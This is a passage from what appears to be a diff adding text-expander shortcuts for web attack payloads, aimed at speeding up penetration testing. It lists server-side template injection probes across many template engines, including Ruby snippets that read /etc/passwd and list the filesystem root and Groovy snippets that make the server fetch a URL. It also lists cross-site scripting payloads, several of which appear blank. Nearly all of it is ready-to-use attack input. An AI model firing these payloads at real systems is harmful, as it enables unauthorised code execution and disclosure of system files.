\"*/" + + # Server-side Template Injection Payloads + - trigger: ":ssti-asp" + replace: "@(1+2)" + - trigger: ":ssti-el" + replace: "${1+1}" + - trigger: ":ssti-el-alt" + replace: "#{1+1}" + - trigger: ":ssti-groovy" + replace: "${\"http://www.google.com\".toURL().text}" + - trigger: ":ssti-groovy-alt" + replace: "${new URL(\"http://www.google.com\").getText()}" + - trigger: ":ssti-jinja" + replace: "{{4*4}}[[5*5]]" + - trigger: ":ssti-ruby-file" + replace: "<%= File.open('/etc/passwd').read %>" + - trigger: ":ssti-ruby-dir" + replace: "<%= Dir.entries('/') %>" + - trigger: ":ssti-smarty" + replace: "{$smarty.version}" + - trigger: ":ssti-twig" + replace: "{{dump(app)}}" + - trigger: ":ssti-velocity" + replace: "#set($str=$class.inspect(\"java.lang.String\").type)" + + # Cross-site Scripting Payloads + - trigger: ":xss-basic" + replace: "" + - trigger: ":xss-img" + replace: "" + - trigger: ":xss-dom" + replace: "#\">" + - trigger: ":xss-markdown" + replace: "[a](javascript:prompt(1))" + - trigger: ":xss-poly" + replace: "\" onclick=alert(1)//